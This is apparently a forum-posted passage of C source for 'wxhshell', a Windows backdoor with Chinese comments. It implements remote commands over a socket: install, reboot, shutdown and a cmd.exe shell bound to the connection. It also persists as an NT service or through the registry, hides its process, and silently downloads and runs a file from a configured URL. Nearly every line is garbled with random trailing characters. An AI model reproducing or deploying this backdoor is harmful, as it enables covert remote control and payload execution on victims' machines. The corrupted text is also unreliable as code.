    switch(cmd[0]) { .!Q[kn0a  
  \h/aD1 &g  
  // 帮助 l< |)LD q~  
  case '?': { u-Ip*1/wp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qgv-QcI{  
    break; /Big^^u  
  } QXT *O  
  // 安装 oY%NDTVN  
  case 'i': { Jo ]8?U(^  
    if(Install()) _q\w9gN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q_R&+@ju  
    else :] +D+[c)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zw X 1&rN  
    break; w0t||qj^>"  
    } 4THGHS^  
  // 卸载 ;lo!o9`<  
  case 'r': { [318Q%W&  
    if(Uninstall()) |a {*r.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r(qU~re'  
    else Pd<>E*>}c.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1@0ZP~LTB  
    break; :-.bXOB(  
    } uod&'g{N  
  // 显示 wxhshell 所在路径 {#1}YGpiVM  
  case 'p': { m]U`7!  
    char svExeFile[MAX_PATH]; ny~~xQ"  
    strcpy(svExeFile,"\n\r"); aTY\mKk  
      strcat(svExeFile,ExeFile); M>g\Y  
        send(wsh,svExeFile,strlen(svExeFile),0); t7DT5SrR  
    break; V`"A|Y  
    } 3+jqf@fO  
  // 重启 9a9{OJa6M  
  case 'b': { X8b= z9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -d 6B;I<'  
    if(Boot(REBOOT)) co%ttH\ n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o;@T6-VH  
    else { f~? MNJ2  
    closesocket(wsh); 4h~o>(Sq  
    ExitThread(0); O9W|&LAL  
    } "h}miVArS  
    break; }%9A+w}o  
    } $McVK>=  
  // 关机 J;g+  
  case 'd': { tcf>9YsOr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t|aBe7t7  
    if(Boot(SHUTDOWN)) #4*~ 4/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vN%SN>=L<  
    else { (-(sBQa+  
    closesocket(wsh); jsG epi9  
    ExitThread(0); "V;M,/Q|  
    } TM|ycS'  
    break; u>.qhtm[  
    } qG%'Lt  
  // 获取shell G u-#wv5@  
  case 's': { %9A6c(L  
    CmdShell(wsh); |^i+Srh  
    closesocket(wsh); bEE'50 D  
    ExitThread(0); i7w>Nvj]  
    break; sc^TElic  
  } n_51-^* z  
  // 退出 64>o3Hb2  
  case 'x': { /-l7GswF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $;dSM<r  
    CloseIt(wsh); ]I#yS=;  
    break; Tn qspS2;R  
    } y-93 >Y  
  // 离开 g3(fhfR'RN  
  case 'q': { ayJKt03\O\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M38QA  
    closesocket(wsh); {(#>%f+|C  
    WSACleanup(); gI qYIt  
    exit(1); afcI5w;>}  
    break; iy{*w&p  
        } X99:/3MXB'  
  } .ns1;8  
  } [ENm(e$sI  
&!#a^d+` 0  
  // 提示信息 . j}dk.#h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :U>o;  
} Dxu2rz!li-  
  } uf (`I  
9 BPucXK  
  return; #AzZ4<;7  
} 2#:h.8  
7W6tz\Y  
// shell模块句柄 $4y;F]  
int CmdShell(SOCKET sock)  DKu4e  
{ '@h5j6:2  
STARTUPINFO si; X9#;quco@  
ZeroMemory(&si,sizeof(si)); s HSZIkB-r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {mK=Vig  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `)FSJV1  
PROCESS_INFORMATION ProcessInfo; "]81+ D  
char cmdline[]="cmd"; HgP9evz,0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oq4*m[  
  return 0; F{a--  
} y8uB>z+#+;  
t/\J  
// 自身启动模式 ++Qg5FukR  
int StartFromService(void) Cyg\FHs  
{ WUSkN;idVG  
typedef struct hTZaI*  
{ pDO&I]S`q0  
  DWORD ExitStatus; (5] |Kcp|  
  DWORD PebBaseAddress; jemg#GB8  
  DWORD AffinityMask; q"@Y2lhD!  
  DWORD BasePriority; jEwfa_Q%  
  ULONG UniqueProcessId; n4Od4&r  
  ULONG InheritedFromUniqueProcessId; cs[_5r&:  
}   PROCESS_BASIC_INFORMATION; SXfuPM  
{//;GC*  
PROCNTQSIP NtQueryInformationProcess;  B@Acm  
z DDvXz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 42X N*br  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;Z%PBMa  
\~|+*^e)  
  HANDLE             hProcess; qP6 YnJWl  
  PROCESS_BASIC_INFORMATION pbi; q 65mR!)  
UV}\#86!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UX3 ]cr  
  if(NULL == hInst ) return 0; {[~cQgCI  
0F$;]zg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dc[w`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (\^| @  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H4[];&]xr  
DK8eFyG^2  
  if (!NtQueryInformationProcess) return 0;  AnK-\4  
5g9lO]WDI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4FK|y&p4r  
  if(!hProcess) return 0; $89hkUuTu^  
Ig9yd S-.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]B'Ac%Rx  
88\0opL-  
  CloseHandle(hProcess); jb~2f2vUa  
TX7B(JZD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6%  +s`  
if(hProcess==NULL) return 0; `NIc*B4q.  
gd~# uR\  
HMODULE hMod; zrD];DP  
char procName[255]; &?\'Z~B4  
unsigned long cbNeeded; ^MJTlRUb  
ATq)8Rm\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TEC'}%   
jx_n$D  
  CloseHandle(hProcess); M>H4bU(  
5 fpBzn$  
if(strstr(procName,"services")) return 1; // 以服务启动 xlQl1lOX  
bo^d!/ ;  
  return 0; // 注册表启动 }1<_  
} q:A{@kFq_  
&w@~@]  
// 主模块 fAMJFHW  
int StartWxhshell(LPSTR lpCmdLine) e_3KNQ`kA  
{ L@> +iZSO  
  SOCKET wsl; H]v"_!(\  
BOOL val=TRUE; (ATvH_Z  
  int port=0; Y@WCp  
  struct sockaddr_in door; ? U~}uG^  
q}Wd`>VDR  
  if(wscfg.ws_autoins) Install(); QIl![%  
'^Kmfc  
port=atoi(lpCmdLine); uM3F[p%V^  
4Y>v+N^  
if(port<=0) port=wscfg.ws_port; jA ?tDAx`  
Fa]fSqy@;  
  WSADATA data; 4h:R+o ^H^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hVQ TW[  
=*f>vrme  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >?b<)Q*<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7/*a  
  door.sin_family = AF_INET; ~_vzss3-C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z:PH _N~  
  door.sin_port = htons(port); PVBf'  
y?BzZ16\bL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "X/cG9Lw  
closesocket(wsl); ^fj):n5/  
return 1; C^Jf&a  
} rTJv>Jjld  
q3.L6M  
  if(listen(wsl,2) == INVALID_SOCKET) { ).+!/x  
closesocket(wsl); JI1O(  
return 1; o* q F"xG  
} SZ+<0Y |  
  Wxhshell(wsl); W?W vT` T{  
  WSACleanup(); BaSNr6 YW  
I W_:nm6  
return 0; [E_+fT  
N_jCx*.G  
} r Ntc{{3_  
{bF95Hs-  
// 以NT服务方式启动 .;gK*`G2W)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gR `:)>  
{ D}Jhg`9  
DWORD   status = 0; yKR0]6ahA  
  DWORD   specificError = 0xfffffff; %SV"iXxY  
j[/'`1tOe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f3h&K}x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \R& 4Nu2F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ns.[PJ"8  
  serviceStatus.dwWin32ExitCode     = 0;  )]2yTG[  
  serviceStatus.dwServiceSpecificExitCode = 0; @a.Y9;O  
  serviceStatus.dwCheckPoint       = 0; wEK@B&DV  
  serviceStatus.dwWaitHint       = 0; ^'8T9N@U  
@Yua%n6]#D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HLMEB0zh^  
  if (hServiceStatusHandle==0) return; c`UJI$Q/  
1XZ|}Xz  
status = GetLastError(); ]Y[8|HJ8  
  if (status!=NO_ERROR) *!De(lhEc  
{ x/$s:[0B#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WWF#&)ti  
    serviceStatus.dwCheckPoint       = 0; T W?O  
    serviceStatus.dwWaitHint       = 0; rN|c0N  
    serviceStatus.dwWin32ExitCode     = status; SU, t,i  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7pNTCZY|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?i4}[q  
    return; 06bl$%  
  } +4emkDTdR  
 U4#[>*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mY9u/; dK  
  serviceStatus.dwCheckPoint       = 0; YWA:741  
  serviceStatus.dwWaitHint       = 0; 4+mawyM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n3{m "h3  
} fM]McZ9)D  
ki6`d?  
// 处理NT服务事件,比如:启动、停止 ?U0iHg{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x q93>Hs  
{ t" 1'B!4  
switch(fdwControl) ak50]KYo  
{ `+b>@2D_  
case SERVICE_CONTROL_STOP: +j5u[X  
  serviceStatus.dwWin32ExitCode = 0; &?3?8Q\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EmNB}\IYU  
  serviceStatus.dwCheckPoint   = 0; +P6#7.p`Z  
  serviceStatus.dwWaitHint     = 0; R<mLG $  
  { WfVkewuPo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iL1.R+  
  } /2oTqEqaV  
  return; vCwDE~  
case SERVICE_CONTROL_PAUSE: ?,r bD 1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "fLGXbNQ  
  break; [d!C6FT  
case SERVICE_CONTROL_CONTINUE: @18@[ :d"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xM%E;  
  break; ( 5 d ~0  
case SERVICE_CONTROL_INTERROGATE: lwLK#_5u  
  break; R~b9)  
}; B$7m@|p!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bxP>  
} @1P1n8mH]  
s<qSelj  
// 标准应用程序主函数 : o$ R@l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @u/<^j3Q  
{ 1G|Q~%cv  
XzQ=8r>l  
// 获取操作系统版本 @.kv",[{[  
OsIsNt=GetOsVer(); 8aGZ% UI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MAR kTxzi  
l1c&a[M)  
  // 从命令行安装 ,$3  
  if(strpbrk(lpCmdLine,"iI")) Install(); u*Oz1~  
c%)uG _  
  // 下载执行文件 '2]u{rr~+  
if(wscfg.ws_downexe) { i`r,B`V`08  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f7X#cs)a  
  WinExec(wscfg.ws_filenam,SW_HIDE); &tZ?%sr  
} 6f=/vRAh$  
p'k stiB  
if(!OsIsNt) { ~PvW+UMLk  
// 如果时win9x,隐藏进程并且设置为注册表启动 FStE/2?  
HideProc(); ?OKm~ Ek  
StartWxhshell(lpCmdLine); *6*#"#D  
} cFUYT$8>  
else P0Na<)\'Y!  
  if(StartFromService()) CV4V_G  
  // 以服务方式启动 U^Z[6u  
  StartServiceCtrlDispatcher(DispatchTable); 0s0[U  
else 5HG 7M&_  
  // 普通方式启动 .mDqZOpf=4  
  StartWxhshell(lpCmdLine); o;Zoj}  
,-CDF)~G=3  
return 0; vyV n5s  
}
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只看该作者 1 发表于: 2006-10-10
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